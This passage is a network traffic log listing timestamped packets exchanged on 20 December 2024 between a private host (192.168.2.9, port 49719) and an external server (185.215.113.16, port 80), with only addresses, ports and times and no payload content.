Dec 20, 2024 17:29:39.934142113 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.001925945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.001941919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.001954079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.001967907 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.001980066 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.001991987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.002036095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.002047062 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.002110958 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.002110958 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.002207994 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.002221107 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.002326012 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.003302097 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.003441095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.003725052 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.004271984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.004429102 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.004487991 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.005276918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.005414009 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.005731106 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.005880117 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.006031990 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.006506920 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.006807089 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.006973982 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.007116079 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.007774115 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.007786989 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.007828951 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.008492947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.008644104 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.008687019 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.009314060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.009438038 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.009524107 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.010334015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.010345936 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.010401011 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.011253119 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.011265039 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.011311054 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.011977911 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.011990070 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.012058020 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.012928963 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.012948036 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.013051033 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.013653040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.013787985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.013835907 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.014550924 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.014682055 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.014734030 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.015465975 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.015629053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.015736103 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.016294956 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.016439915 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.016526937 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.017282009 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.017293930 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.017333984 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.018084049 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.018223047 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.018263102 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.019036055 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.019181013 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.019222021 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.019824028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.019963980 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.020005941 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.020507097 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.020690918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.020771027 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.021418095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.021568060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.021612883 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.022243977 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.022406101 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.022454023 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.023211956 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.023361921 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.023528099 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.023927927 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.024065018 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.024130106 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.024878025 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.025024891 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.025064945 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.025711060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.025867939 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.025909901 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.026571989 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.026731968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.026772976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.027466059 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.027477026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.027512074 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.028309107 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.028321028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.028367043 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.029217005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.029228926 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.029282093 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.029994011 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.030153990 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.030237913 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.030802011 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.030972004 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.031048059 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.031729937 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.031888008 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.031929970 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.032543898 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.032869101 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.032921076 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.033515930 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.033972979 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.034015894 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.034265995 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.034280062 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.034344912 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.035217047 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.035228968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.035288095 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.036016941 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.036391020 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.036469936 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.036815882 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.037192106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.037229061 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.037662029 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.037797928 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.037836075 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.038436890 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.038609982 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.038650036 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.038661957 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.038692951 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.038710117 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.039659977 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.039855003 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.039904118 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.042210102 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.042221069 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.042375088 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.042880058 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.045861006 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.045975924 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.046123028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.046307087 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.046406984 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.046633959 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.047167063 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.047214985 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.047688007 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.048161030 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.048173904 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.048214912 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.090420008 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.191196918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.191503048 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.191517115 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.191555977 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.192500114 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.192560911 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.193257093 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.193278074 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.193319082 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.194022894 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.194322109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.194396019 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.194413900 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.194447041 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.194447041 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.194483995 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.195667028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.195708990 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.195985079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.196654081 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.196666002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.196691990 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.197341919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.197431087 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.197662115 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.197952986 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.197964907 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.198056936 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.198859930 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.198942900 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.199135065 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.199721098 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.199738026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.199909925 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.200508118 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.200598955 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.200835943 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.201354980 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.201472044 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.201791048 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.202255011 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.202269077 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.202312946 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.203142881 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.203181982 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.203330994 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.203965902 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.204029083 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.204127073 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.204969883 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.205068111 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.205108881 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.205693960 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.205732107 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.205964088 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.206491947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.206531048 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.206954002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.207381010 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.207392931 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.207472086 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.208328009 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.208488941 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.208492041 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.209177017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.209213972 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.209227085 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.210088968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.210100889 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.210160971 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.210720062 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.210835934 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.210889101 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.211618900 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.211693048 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.211771011 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.212511063 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.212547064 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.212806940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.213222027 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.213296890 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.214396000 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.215121984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.215132952 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.215189934 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.215919971 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.215959072 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.216444016 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.216698885 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.216710091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.216722012 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.216766119 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.216766119 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.216969967 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.217709064 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.217808962 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.218138933 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.218628883 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.218672991 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.218791962 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.219535112 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.219659090 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.219979048 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.220298052 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.220309973 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.220357895 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.220917940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.220964909 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.221259117 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.221784115 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.221828938 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.221851110 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.222670078 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.222707987 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.223527908 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.223540068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.223618031 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.223642111 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.223661900 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.224361897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.224412918 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.224533081 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.225260973 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.225332022 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.225373030 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.226125956 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.226191044 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.226233006 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.226979971 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.227020025 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.227112055 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.227942944 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.227997065 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.228077888 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.229500055 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.229552984 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.229866028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.230390072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.230457067 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.230468035 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.230884075 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.230895996 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.230935097 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.231462002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.231511116 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.231627941 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.232144117 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.232206106 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.232400894 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.232949018 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.232990026 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.234530926 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.237468004 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.237629890 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.237710953 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.237771988 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.237912893 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.237965107 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.238656044 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.239092112 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.239293098 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.239447117 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.239619017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.239731073 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.265578032 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.383845091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.383940935 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.384044886 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.384191036 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.384427071 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.384479046 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.385199070 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.385211945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.385328054 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:40.398628950 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.398941040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:40.398957968 CET	80	49719	185.215.113.16	192.168.2.9
